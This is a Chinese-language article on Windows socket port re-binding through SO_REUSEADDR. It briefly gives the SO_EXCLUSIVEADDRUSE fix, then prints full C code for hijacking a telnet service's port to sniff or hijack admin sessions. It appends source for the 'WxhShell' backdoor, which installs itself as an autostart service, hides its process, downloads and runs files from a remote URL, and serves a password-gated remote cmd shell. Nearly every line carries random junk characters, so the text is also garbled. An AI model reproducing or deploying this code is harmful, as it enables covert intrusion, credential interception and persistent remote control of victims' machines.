在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
o+7)cI s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
y^ |u'XK S_/S2(V" saddr.sin_family = AF_INET;
IWq#W(yM &N._}ts saddr.sin_addr.s_addr = htonl(INADDR_ANY);
JWI Y0iP _OyQ:>M6P bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0Q`v#$?": (:HT|gKoE 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+{RTz)e?* `$S&:Q, 这意味着什么?意味着可以进行如下的攻击:
&JcatI -5 D<zP/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%1.F;-GdsW YO$D- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{(!JYz~P 1l"2 ~k 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
w.a9}GC ,(pp+hNq 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
3h d30o 6#!CBY^{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$`55 E( _p*8ke 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6{Q-]LOc[. [&PF ;)i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
kM{8zpn bXOKC #include
)38%E;T{X #include
; Byt'S #include
FV/t #include
&UOxS W DWORD WINAPI ClientThread(LPVOID lpParam);
DZtpY{=Z int main()
>Vjn]V5y {
!@F { FR WORD wVersionRequested;
f|FS%]fCxk DWORD ret;
t4[q:[1 WSADATA wsaData;
HyVV,q^E BOOL val;
ws+ '*7 SOCKADDR_IN saddr;
;Pt8\X SOCKADDR_IN scaddr;
nOvR, 6 int err;
d\l{tmte SOCKET s;
M|mfkIk0MB SOCKET sc;
e,/]]E/o int caddsize;
C2"^YRN, HANDLE mt;
5@m
,*n&[ DWORD tid;
G?'^"ae"Z wVersionRequested = MAKEWORD( 2, 2 );
)>:~XA|? err = WSAStartup( wVersionRequested, &wsaData );
3ai[ r if ( err != 0 ) {
JM|HnyI printf("error!WSAStartup failed!\n");
u,So+% return -1;
B[GC@]HE }
~p?ArZb saddr.sin_family = AF_INET;
b;UBvwY_ qqf`z,u //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
!q\=e@j-i BZ?3=S1* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
BX0lk saddr.sin_port = htons(23);
^EX"fRwNi if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'NhQBk {
e=OHO,74z" printf("error!socket failed!\n");
.cHgYHa return -1;
@/.#
/ }
ZyUcL_ val = TRUE;
= 'o3 <} //SO_REUSEADDR选项就是可以实现端口重绑定的
:@[\(: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~4{q {
W/!P1M n printf("error!setsockopt failed!\n");
?[Lk]A&"L2 return -1;
[ ulub| }
"=Br&FN{| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4|`>}Nu //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\9VF)Y.ke //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
T?pS2I~ n^4R]9U if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
V%oZT>T3 {
=9jK\ T^ ret=GetLastError();
q*3OWr printf("error!bind failed!\n");
QM0B6F return -1;
ZZT #V%Q=u }
H{*Dc_ listen(s,2);
D!rPF)K
) while(1)
t@qf/1 {
'>"{yi- caddsize = sizeof(scaddr);
1#A$&'&\J; //接受连接请求
@L3XBV2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ODxZO3 if(sc!=INVALID_SOCKET)
4nsJZo#S/ {
e2O6q05 ?Q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
FDz`U:8 if(mt==NULL)
0B`X056|"| {
8>v_th printf("Thread Creat Failed!\n");
l[/`kK break;
Y %"Ji[ }
YaC%69C' }
cpQ5F;FI CloseHandle(mt);
yH/A9L,Z }
L'= \|r closesocket(s);
3_ WSACleanup();
BX >L7 n return 0;
]||b2[* }
AQ~ xjU DWORD WINAPI ClientThread(LPVOID lpParam)
sK}AS;: {
o:Fq|?/e SOCKET ss = (SOCKET)lpParam;
JusU5 e| SOCKET sc;
ax&?Z5%a unsigned char buf[4096];
%2\Hj0JQQ SOCKADDR_IN saddr;
rW{!8FhI long num;
IzP,)!EE DWORD val;
my?Ly(# DWORD ret;
p#@ #$u- //如果是隐藏端口应用的话,可以在此处加一些判断
aGD< #] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
k#].nQG
saddr.sin_family = AF_INET;
4{P+p!4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
c[h~=0UtJ saddr.sin_port = htons(23);
kBo:)Vej4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RzEzNV {
39X~<\&' printf("error!socket failed!\n");
8dczC return -1;
Z8|<%1Kge }
X6Ha C+P val = 100;
YF5}~M ymF if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M>AxVL {
7L!JP:v ret = GetLastError();
9d5$cV return -1;
T c WCr }
QNNURf\[( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-#v~;Ci {
Vb0T)C ret = GetLastError();
y9:4n1fg return -1;
Tgdy;? }
-k'<6op if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
G@8)3 @ {
H[=\_X1o( printf("error!socket connect failed!\n");
(80m'.X closesocket(sc);
s0SzO,Vi closesocket(ss);
4#$#x=: return -1;
?
#K|l* }
]E`<8hRB while(1)
Pe,>ny^J1 {
lTx_E#^s //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^m>4<~/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
^6s im 2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
c!6D{(sfh num = recv(ss,buf,4096,0);
Itl8#LpLM if(num>0)
l1 +l@r\ send(sc,buf,num,0);
f"MID6 else if(num==0)
+:MSY p break;
- x num = recv(sc,buf,4096,0);
9[0iIT$q$ if(num>0)
v] m/$X2 send(ss,buf,num,0);
NoI|Dz else if(num==0)
o4Q?K.9c break;
QYH-"-) }
\nl(tU#j closesocket(ss);
SI7rTJ]/ closesocket(sc);
3c<aI=$^ return 0 ;
78&|^sq }
"5hk%T' U&^q#[' )jM%bUk,! ==========================================================
6h:QSVfx ;blL\|ch; 下边附上一个代码,,WXhSHELL
,Z`}!%? H/,KY/>i ==========================================================
eaw!5]huu ^m\o(R #include "stdafx.h"
8g#$Y2P LmrdVSs_ #include <stdio.h>
&.A_d+K& #include <string.h>
wi2`5G6|z #include <windows.h>
^z?b6kTC #include <winsock2.h>
!cW rB9 #include <winsvc.h>
v rs #include <urlmon.h>
v:O{"s '/\ #pragma comment (lib, "Ws2_32.lib")
`+H=3`}X #pragma comment (lib, "urlmon.lib")
A7p4M?09 jv)+qmqo! #define MAX_USER 100 // 最大客户端连接数
cO?*(e1m= #define BUF_SOCK 200 // sock buffer
74%vNKzc~ #define KEY_BUFF 255 // 输入 buffer
~1G^IZ6 ptCF))Zm' #define REBOOT 0 // 重启
T4eJ:u* ; #define SHUTDOWN 1 // 关机
I68u%fCv c{q+h V= #define DEF_PORT 5000 // 监听端口
}Fe~XO` BQu
|qrq #define REG_LEN 16 // 注册表键长度
o[C^z7WG0 #define SVC_LEN 80 // NT服务名长度
r%,?uim# N ,~O+ // 从dll定义API
{cK<iQJ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Y>x{ [er typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@*;x1A-]V typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
wkg4I. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|#Gxqq' -gn0@hS0 // wxhshell配置信息
!=9x= struct WSCFG {
so-5%S int ws_port; // 监听端口
is.t,&H4P] char ws_passstr[REG_LEN]; // 口令
=EJ&=t int ws_autoins; // 安装标记, 1=yes 0=no
]7HR
U6$ char ws_regname[REG_LEN]; // 注册表键名
s:T%,xS char ws_svcname[REG_LEN]; // 服务名
!3b& S4 char ws_svcdisp[SVC_LEN]; // 服务显示名
]kj^T?&n. char ws_svcdesc[SVC_LEN]; // 服务描述信息
8ro`lX*F@2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
8Km&3nCv$Q int ws_downexe; // 下载执行标记, 1=yes 0=no
G ek?+|m char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
L%/RD2LD char ws_filenam[SVC_LEN]; // 下载后保存的文件名
L8 P0bNi LuS@Kf8N+ };
bZowc {!\ *xnZTj: // default Wxhshell configuration
N[{rsUBd struct WSCFG wscfg={DEF_PORT,
Z-@nXt "xuhuanlingzhe",
&L6Ivpj- 1,
ZFZ'&"+ "Wxhshell",
K+3-XhG "Wxhshell",
z"@^'{.l "WxhShell Service",
4.9qB "Wrsky Windows CmdShell Service",
d4y#n=HnnV "Please Input Your Password: ",
EC?5GNGT, 1,
/T _M't@j "
http://www.wrsky.com/wxhshell.exe",
@-@Coy 4Tt "Wxhshell.exe"
t3L>@NWG };
/~LE1^1&U e!u]l // 消息定义模块
tP'v;$)9F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yR$_ZXsd char *msg_ws_prompt="\n\r? for help\n\r#>";
G(E1c"? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
a%#UF@I char *msg_ws_ext="\n\rExit.";
Tm%5:/<8 char *msg_ws_end="\n\rQuit.";
-` ]9o3E7H char *msg_ws_boot="\n\rReboot...";
kowS| c# char *msg_ws_poff="\n\rShutdown...";
a;o0#I#Si char *msg_ws_down="\n\rSave to ";
E ,i^rA m J*@ pM char *msg_ws_err="\n\rErr!";
J""Cgf char *msg_ws_ok="\n\rOK!";
lm`*x=x 54$^ldD char ExeFile[MAX_PATH];
"P !
.5B int nUser = 0;
,%pCcM) HANDLE handles[MAX_USER];
[@i:qB>B int OsIsNt;
>.<VD7p 6[m~xegG SERVICE_STATUS serviceStatus;
H/a gt SERVICE_STATUS_HANDLE hServiceStatusHandle;
eMGJx "a z}vT8qoX // 函数声明
80nE QT
y int Install(void);
r S@/@jKZE int Uninstall(void);
[6VB& int DownloadFile(char *sURL, SOCKET wsh);
Z`TfS+O6 int Boot(int flag);
1/$PxQ void HideProc(void);
-2hirA<^ int GetOsVer(void);
c>bns/f int Wxhshell(SOCKET wsl);
b9H(w%7ucU void TalkWithClient(void *cs);
:82T! int CmdShell(SOCKET sock);
#:6-O int StartFromService(void);
7Ae`>5B# int StartWxhshell(LPSTR lpCmdLine);
X,Ql6uO D||0c"E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
LOU P VOID WINAPI NTServiceHandler( DWORD fdwControl );
BlJiHz! p4T$(]7 // 数据结构和表定义
!5,C"r SERVICE_TABLE_ENTRY DispatchTable[] =
~RR!~q {
':.Hz]]/A {wscfg.ws_svcname, NTServiceMain},
:1 +Aj
( {NULL, NULL}
@.;+WQE };
F5?S8=i x%dny]O1; // 自我安装
VMah3T! int Install(void)
%lCZ7z2o {
H-_gd.VD char svExeFile[MAX_PATH];
!Fl'?Kz HKEY key;
g*$2qKm strcpy(svExeFile,ExeFile);
12`u[O}\}- >axeUd+@i // 如果是win9x系统,修改注册表设为自启动
7|}4UXr7y if(!OsIsNt) {
P@N+jS`Vf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9=j9vBV RegCloseKey(key);
\ eHOHHAGW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ZSf &M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6]7csOE RegCloseKey(key);
.SC*! , return 0;
xs= ~N }
7I3_$uF }
CX]1I|T5 }
rXB;#ypO else {
qvn.uujYS mCO1,? // 如果是NT以上系统,安装为系统服务
ox-m)z `7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
P~ObxY| if (schSCManager!=0)
aUw-P{zp% {
"L3mW=!* SC_HANDLE schService = CreateService
LS~at.3zX (
g Wtc3 schSCManager,
TOwqr T/ wscfg.ws_svcname,
w)dnmrKDZg wscfg.ws_svcdisp,
V 20h\(\\ SERVICE_ALL_ACCESS,
tSHW"R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=MNp; SERVICE_AUTO_START,
yGR{-YwU! SERVICE_ERROR_NORMAL,
*OLqr/ yb svExeFile,
1Q@]b_"Xh NULL,
.UPh NULL,
`7/(sX. NULL,
KF(H
>gs NULL,
c~<;}ve^z NULL
=:rg1wo"c );
$tZ
{>!N if (schService!=0)
5`^@k< {
f|{iW E2d CloseServiceHandle(schService);
868X/lL CloseServiceHandle(schSCManager);
s%:fZ7y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
j[U#J strcat(svExeFile,wscfg.ws_svcname);
&g|[/~dIr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
-[=~!Qr: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$a_y-lY RegCloseKey(key);
3;>ls~4 return 0;
NO!Qo: }
5cPyi/ }
P%2v( CloseServiceHandle(schSCManager);
5%}e j)@ }
^oi']O }
<r}wQ\F# >9H^r\ return 1;
^_]ZZin }
+d3|Up8=
NzgG77> // 自我卸载
A3eCI int Uninstall(void)
yd;e;Bb7* {
#RlZxtx.O HKEY key;
Yg&(kmm ?X@!jB,Pv if(!OsIsNt) {
G80N8Lm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GRcPzneiz RegDeleteValue(key,wscfg.ws_regname);
w;lpJB\ RegCloseKey(key);
/h>g-zb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
z:\9t[e4 RegDeleteValue(key,wscfg.ws_regname);
p@jw)xI RegCloseKey(key);
i.mv`u Dm return 0;
M@ U>@x; }
OjGI
! }
!Se0&Ob }
%#2$B+ else {
xO|r<R7d7 D, ")n75 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9,?~dx if (schSCManager!=0)
WE\TUENac( {
I[?\Or SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
nXT`7 if (schService!=0)
yXU.PSG* {
nQc,^A)I if(DeleteService(schService)!=0) {
+4 k=Y CloseServiceHandle(schService);
'D21A8*N CloseServiceHandle(schSCManager);
{;{U@Z return 0;
rI>x'0Go* }
n{gEIUo# CloseServiceHandle(schService);
q%sZV> }
lE k@I" CloseServiceHandle(schSCManager);
-PpcFLZ| }
%n| }
_wKwiJs Jxvh; return 1;
W\l&wR }
<{#_;7h" h4]^~stI // 从指定url下载文件
iwF_'I$#N int DownloadFile(char *sURL, SOCKET wsh)
A4"TJZBg} {
NsB]f{7>8+ HRESULT hr;
19$A!kH\ char seps[]= "/";
/S]$Hu| char *token;
70qEqNoC char *file;
72, m c char myURL[MAX_PATH];
_V"0g=&Hc char myFILE[MAX_PATH];
<&\ng^Z$ VlV
X strcpy(myURL,sURL);
h%EeU
3 token=strtok(myURL,seps);
S70#_{ while(token!=NULL)
YdhV
a!Y {
<@Q27oEuA file=token;
d]0:r]e token=strtok(NULL,seps);
w;,34qbf }
<q7o"NI6FZ _*AI1/>` GetCurrentDirectory(MAX_PATH,myFILE);
%Xh}{ o$G strcat(myFILE, "\\");
j:%,lcF strcat(myFILE, file);
v.]{b8RR send(wsh,myFILE,strlen(myFILE),0);
$5XAS send(wsh,"...",3,0);
Cfi4~ & hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
BdD]HXB|_ if(hr==S_OK)
vm@V5oH return 0;
) ^En else
rD}g9?ut return 1;
T
6D+@i boojq{cvYA }
3H,x4L5j `Abd=1nH // 系统电源模块
{.LJ(|(Mz int Boot(int flag)
RL}?.'! {
OJm ]gb7 HANDLE hToken;
@\?HlGWEf TOKEN_PRIVILEGES tkp;
m.+h@ OH/9<T? if(OsIsNt) {
:A8r{`R'N OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
A}lxJ5h0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%mQ&pk tkp.PrivilegeCount = 1;
v-#,@&Uwq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)+L|<6J XA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Gsh9D if(flag==REBOOT) {
54p{J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Z' i@;^=A return 0;
+QN4hJK }
c+ZOC8R else {
?!Y_w2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
20}HTV{v return 0;
>*EZZ\eU! }
$q\"d?n }
{<{VJGY7T else {
8-<F4^i_i if(flag==REBOOT) {
M+:5gMB' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1i#y>fUj return 0;
0PkX- . }
U$5x#{AFp else {
J?V$V
>d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
byI"
? return 0;
%1
)c{7 }
dy+A$)gY< }
{|oWU8.l 'ayb` return 1;
i@9
qp?eb }
[0Xuo ku,{NY
f^Y // win9x进程隐藏模块
O[ z0+Q?6Z void HideProc(void)
&KMI C {
z6w'XA1_+t "" UyfC[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
K#k/t"r if ( hKernel != NULL )
-. *E<% {
?jR#txR pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`i.fm1I] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
x:-NTW
-g FreeLibrary(hKernel);
:Fhk$?/r }
h2'6W) bf/6AY7 return;
J299mgB }
,Mw93Kp
Va WdOxwsq" // 获取操作系统版本
(RI)<zaK
; int GetOsVer(void)
pT=^o {
[.>=>KJ_ OSVERSIONINFO winfo;
79 4UY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
K1X-<5]{ GetVersionEx(&winfo);
fBh" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
h
8$.mQr return 1;
8`L]<Dm else
%1TKgNf return 0;
c!HGiqp }
oOprzxf"+Z *m]Y6 // 客户端句柄模块
{*;8`+R& int Wxhshell(SOCKET wsl)
~ox}e(xy {
n#}@|"J SOCKET wsh;
fK:4jl-r struct sockaddr_in client;
(87wWhH DWORD myID;
"iEnsP@'Wg X_'tgP9 while(nUser<MAX_USER)
6{;6~?U {
2K_ QZ
int nSize=sizeof(client);
6)sKg{H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
m|fcWN[ if(wsh==INVALID_SOCKET) return 1;
AO`@&e]o XcNL\fl1 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"<|KR{/+ if(handles[nUser]==0)
|-6`S1. closesocket(wsh);
<SJ6<' else
7[=G;2< nUser++;
n`^jNXE }
,JI] Eij^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#8XmOJ"W3k 97 SS0J return 0;
5@l5exuG*m }
#CLjQJ :g$"Xc8Zn // 关闭 socket
wxBHlgK4z void CloseIt(SOCKET wsh)
s:'>G;p {
>&HW6 c closesocket(wsh);
8L:AmpQdpA nUser--;
ue3 ].: ExitThread(0);
,W+=N"`a' }
,l AZ4
gwIR3u // 客户端请求句柄
,62~u'hR5 void TalkWithClient(void *cs)
e,#w*| {
T7i>aM$+ "3jTU SOCKET wsh=(SOCKET)cs;
Ngx2N<$<*g char pwd[SVC_LEN];
%H?B5y char cmd[KEY_BUFF];
f'ld6jt|% char chr[1];
*[cCY!+Qy int i,j;
$|Ol?s
R/1e/ t while (nUser < MAX_USER) {
Wj3i*x$
[[_>DM if(wscfg.ws_passstr) {
Z[[*:9rY| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'9]?jkl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
DCa[?|Y //ZeroMemory(pwd,KEY_BUFF);
i5(qJ/u i=0;
3KqRw (BK while(i<SVC_LEN) {
$-^&AKc #3ZAMV // 设置超时
d. d J^M fd_set FdRead;
vy2<'V*y} struct timeval TimeOut;
\6GNKeN FD_ZERO(&FdRead);
h7ZH/g$) FD_SET(wsh,&FdRead);
kReZch} TimeOut.tv_sec=8;
1d!s8um; TimeOut.tv_usec=0;
FLJ&ZU=s int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_LgP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
v@G&";| gjD|f2*x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(8~mf$ zx, pwd
=chr[0]; \$Ky AWrZi
if(chr[0]==0xd || chr[0]==0xa) { DMA7eZf'Hv
pwd=0; ;R&W#Q7>3
break; |63uoRr
} ~9rNP{+
i++; D4"<suU|.
} Otr=+i
ZI
S7j(4@
// 如果是非法用户,关闭 socket `[E-V
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {pi_yr3
} p".wqg*W
q%k&O9C2]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <x$nw'H9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .>,Y
|
_3u3b/%J?
while(1) { `Gxb98h/r
[e\IHakj
ZeroMemory(cmd,KEY_BUFF); QDJ#zMxFD
o *U-.&
// 自动支持客户端 telnet标准
d8 ~%(I9
j=0; }'{"P#e8"q
while(j<KEY_BUFF) { 7H6Ge-u
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F~fN7<9R
cmd[j]=chr[0]; Ht43G_.j
if(chr[0]==0xa || chr[0]==0xd) { ^^k9Acd~p
cmd[j]=0; 2T%sHp~qt
break; e6J>qwD?
} |$\1E+
j++; ?$I9/r
} 1fJ~Wp @1
a{^2c!
// 下载文件 [ Ous|a[)o
if(strstr(cmd,"http://")) { [[w-~hHH -
send(wsh,msg_ws_down,strlen(msg_ws_down),0); D0
q42+5
if(DownloadFile(cmd,wsh)) irw5<l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TSJeS`I
else EGFP$nvq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (VkO[5j
} r1.zURY
else { F`F|.TX
Y1AZ%{^0a
switch(cmd[0]) { 7uUq+dp
AW_ YlS
// 帮助 z<P?p
case '?': { *\+oe+ 3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P1L+Vnfu
break; D@5h$m5
} Uv?^qe0=
// 安装 ~T9QpL1OJ
case 'i': { ]p4?nT@]
if(Install()) S+Ia2O)BA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^v5]Aq~X
else ON{a'H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n<)A5UB5-
break; 39[ylR|\
} /EHO(d!<
// 卸载 T.QJ#vKO0
case 'r': { "Ar|i8^G3
if(Uninstall()) LH`$<p2''r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a_\7Ho$^
else x~m$(LT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Sf'bj;(
break; ETH
($$M
} y_Gs_xg
// 显示 wxhshell 所在路径 2S:B%cj9m
case 'p': { 3ohHBo
char svExeFile[MAX_PATH]; SY.koW
strcpy(svExeFile,"\n\r"); g@t..xJ,
strcat(svExeFile,ExeFile); B4zuWCE@
send(wsh,svExeFile,strlen(svExeFile),0); 5KTFf6Uq
break; #5^OO ou|
} fQ.S ,lMe
// 重启 7N5M=f.DS(
case 'b': { 2cS94h
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TZn5s~t
if(Boot(REBOOT)) 2t0VbAO1{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]
fA5D)/m<
else { -ciwIS9L
closesocket(wsh); z 36Y/{>[
ExitThread(0); Uw5&.aqn.b
} 7bGOE_r
break; >pol'=
} cN2Pl%7
// 关机 *Br
}U
case 'd': { { /8s`m
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'm<L}d
if(Boot(SHUTDOWN)) VD!PF'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xudZ7
else { .'l3NV^{
closesocket(wsh); C=K{;.
ExitThread(0); 1n*"C!q
} bz,"TG[
break; =_6 Q26
} yk^2<?z>2
// 获取shell #K` [XA
case 's': { JvCy&xrE;
CmdShell(wsh); [H$kVQC
closesocket(wsh); 39~WP$GM
ExitThread(0); &P*r66
break; Dl\0xcE
} -EU=R_yg
// 退出 )\W}&9 >
case 'x': { 6Y.k<oem
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LF(S"Of
CloseIt(wsh); ,#^2t_c/
break; /L]@k`.q@
} .345%j
// 离开 $j!:ET'V
case 'q': { 2]x,joB
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f*m^x7
closesocket(wsh); I;<__
WSACleanup(); l4I',79l
exit(1); Y_XRf8Sw
break; jrm^n_6};
} R(}!gv}s
} rc`I l{~k
} %X\Rfn0J"
A-^B?E
// 提示信息 `sv]/8RN
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;s4e8![o3
} b+dmJ]c
} HR
?H{?jJj$H
return; ds2xl7jg
} :efDPNm5
Tjj27+y*\
// shell模块句柄 =*UVe%N4
int CmdShell(SOCKET sock) y#O/Xw
{ r$LU$F
STARTUPINFO si; !_dW
`
ZeroMemory(&si,sizeof(si)); ,6A/| K-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '1G0YfG}n
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 27F:-C~.9
PROCESS_INFORMATION ProcessInfo; J3r':I}\
char cmdline[]="cmd"; JvJ)}d$,&
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5a&gdqg]
return 0; V Kc`mE
} O=u.J8S2
:19s=0
// 自身启动模式 {D]I[7f8Ev
int StartFromService(void) N B8Yn\{B
{ u)D!Rh V&
typedef struct \ov]Rn
{ SS;'g4h\6
DWORD ExitStatus; +~;#!I@Di
DWORD PebBaseAddress; i-sm 9K'ns
DWORD AffinityMask; X`]>J5
DWORD BasePriority; ]go.IfH
ULONG UniqueProcessId; tU8aPiUl
ULONG InheritedFromUniqueProcessId; On@p5YRwW
